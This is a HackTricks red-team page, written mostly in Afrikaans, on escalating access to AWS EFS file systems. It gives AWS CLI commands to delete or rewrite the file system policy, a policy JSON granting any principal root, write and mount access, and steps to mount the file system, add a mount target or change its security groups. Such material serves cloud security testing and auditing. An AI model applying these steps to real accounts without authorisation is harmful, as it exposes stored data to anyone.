AWS - EFS Privesc

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

EFS

Meer inligting oor EFS in:

AWS - EFS Enum

Onthou dat om ’n EFS te mount moet jy in ’n subnetwork wees waar die EFS blootgestel is en toegang daartoe hĂȘ (security groups). As dit die geval is, sal jy standaard altyd in staat wees om dit te mount; egter, as dit deur IAM policies beskerm word, moet jy die ekstra permissions wat hier genoem word hĂȘ om toegang daartoe te kry.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Met enige van daardie permissions kan ’n attacker die file system policy verander om jou toegang daartoe te gee, of dit net te delete sodat die default access gegee word.

Om die policy te delete:

aws efs delete-file-system-policy \
--file-system-id <value>

Om dit te verander:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Met hierdie permisie kan ’n aanvaller die mount the EFS uitvoer. As die write permission nie standaard aan almal wat die mount the EFS kan doen gegee is nie, sal hy slegs read access hĂȘ.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Die ekstra permissies elasticfilesystem:ClientRootAccess en elasticfilesystem:ClientWrite kan gebruik word om binne die lĂȘerstelsel te skryf nadat dit gemount is en om daardie lĂȘerstelsel toegang te kry as root.

Potential Impact: Indirekte privesc deur sensitiewe inligting in die lĂȘerstelsel te vind.

elasticfilesystem:CreateMountTarget

As ’n aanvaller binne ’n subnetwerk is waar geen mount target van die EFS bestaan, kan hy net een in sy subnet skep met hierdie voorreg:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Potential Impact: Indirekte privesc deur sensitiewe inligting in die lĂȘerstelsel te vind.

elasticfilesystem:ModifyMountTargetSecurityGroups

In ’n scenario waar ’n aanvaller vind dat die EFS ’n mount target in sy subnetwerk het maar geen security group die verkeer toelaat nie, kan hy net dit verander deur die geselekteerde security groups te wysig:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

PotensiĂ«le impak: Indirekte privesc deur sensitiewe inligting in die lĂȘerstelsel te vind.

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks